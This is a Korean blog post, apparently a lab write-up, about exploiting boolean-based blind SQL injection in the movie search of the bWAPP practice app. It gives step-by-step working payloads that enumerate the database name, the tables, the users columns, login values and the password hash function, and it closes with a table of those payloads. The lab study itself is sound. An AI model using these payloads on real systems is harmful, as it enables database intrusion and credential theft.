해당 취약점은 Blind SQL 인젝션의 boolean based이다. SQL Injection 중에서도 가장 노가다(?)스럽고 하나하나 일일이 값을 넣어가며 확인해야 하기 때문에 굉장히 오래걸린다. 

 

 

위와 같이 영화를 검색하는 방식이다. 하지만 DB에 검색하는 영화의 존재 유무만 알려주고 나머지는 알려주지 않는다. 그래서 '(싱글쿼터)를 넣어서 에러를 확인했다.

 

위와 같이 다른 문장을 넣었을 때와는 다르게 에러가 발생한다. 그래서 참을 만들어주는 SQL문(' or 1=1#)을 넣었다.

 

 

참을 넣으니 DB에 정보가 있다고 나온다. 이런식으로 참인 SQL 문을 넣으면 참인 메시지가, 거짓을 넣으면 거짓이라는 메시지나 에러 메시지가 출력된다. 컬럼 갯수를 확인 하기 위해 ' union select 1,2,3,4,5,6,7#을 넣었다. 처음 1부터 해서 7까지 늘리면 7일때 위와 같이 참 메시지가 나온다.

마찬가지로 DB명의 길이를 확인하기 위해 ' or 1=1 and length(databases())=5#을 넣었다.

역시 참 메시지가 나오는 것으로 보아 DB 명은 5글자이다. 그리고 ' or 1=1 and substring(database(),1,1)='b'#을 넣어 DB 명의 첫번째 글자가 b라는 것도 확인했다. 또는 ' or 1=1 and ascii(substring(database(),1,1))=98#을 넣어 b라는 것을 확인할 수 있다. 앞에 문장과 뒤의 문장의 차이는 asii 함수 이용의 차이이다. 값은 일치한다.

다음은 ' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))=4#을 입력하여 테이블명 길이를 확인한다.

다음은 ' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) > 100# 를 입력하여 테이블 명을 추측한다. ascii 함수를 사용하여 범위를 한정하여 추측하면 첫번째 테이블 명이 b로 시작하게 된다. 이렇게 계속 진행하면 네번째 테이블이 users라는 것을 알게 된다.

users라는 테이블명을 알게 되었다면 해당 테이블의 컬럼명의 길이를 파악하기 위해 ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2#를 입력하여 2글자라는 것을 파악했다.

이제 컬럼명을 추측하기 위해 ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'#를 넣어 i로 시작하는 2글자 인 것을 알게 되었다. 계속 추측하면 두번째 컬럼은 login 이라는 사실도 알 수 있다.

이제 login 컬럼에 있는 내용을 파악하기 위해 ' or 1=1 and length((select login from users limit 1,1))=3#을 넣어 컬럼 내용의 길이를 파악했다. 3글자다. 그리고 ' or 1=1 and substring((select login from users limit 1,1),1,1)='b'#을 입력하여 첫번째 글자가 b인 것도 확인했다.  계속 해보면 login 컬럼의 첫번째 내용은 bee다.

이제 두번째 컬럼을 알아보기 위해 ' or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 2,1))=8#을 입력했다. 두번째 컬럼명은 8글자이다. 컬럼명을 파악하기 위해  ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 2,1),1,1)='p'#를 넣어 확인하니 첫번째 글자가 p인 것을 확인했다. 계속 찾아보니 password였다. password 컬럼은 비밀번호 원문이 아닌 해시 값이라는 추측이 가능해진다. 하지만 암호화 되어 있어 40글자를 일일이 하기에는 시간 소모가 너무 심하다. 우선 md5를 사용하였는지 확인하기 위해 ' or 1=1 and md5("bug")=(select password from users where login='bee')#를 넣은 결과 거짓 메시지가 나온다. 다시 sha-1인지 확인하기 위해 ' or 1=1 and sha1("bug")=(select password from users where login='bee')#를 넣으니 참이 나온다. 그래서 sha-1함수를 사용하는 것을 알 수 있다.

 

아래 표는 위에서 사용한 DB 쿼리문을 표로 정리해 놓았다.

 

 쿼리문

내용 

' union select 1,2,3,4,5,6,7#

컬럼 갯수

' or 1=1 and length(databases())=5#

DB명 길이

' or 1=1 and substring(database(),1,1)='b'#

혹은

' or 1=1 and ascii(substring(database(),1,1))=98#

DB명

' or 1=1 and length((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1))=4#

테이블명 길이

' or 1=1 and ascii(substring((select table_name from information_schema.tables where table_type='base table' and table_schema='bWAPP' limit 0,1),1,1)) > 100#

테이블명

or 1=1 and length((select column_name from information_schema.columns where table_name='users' limit 0,1))=2#

컬럼명 길이

 ' or 1=1 and substring((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='i'#

컬럼명

' or 1=1 and length((select login from users limit 1,1))=3#

컬럼 내용 길이 

' or 1=1 and substring((select login from users limit 1,1),1,1)='b'#

컬럼 내용 

' or 1=1 and md5("bug")=(select password from users where login='bee')#

암호화 함수 확인(md5 혹은 sha1)

 

블로그 이미지

꼴통보안인

,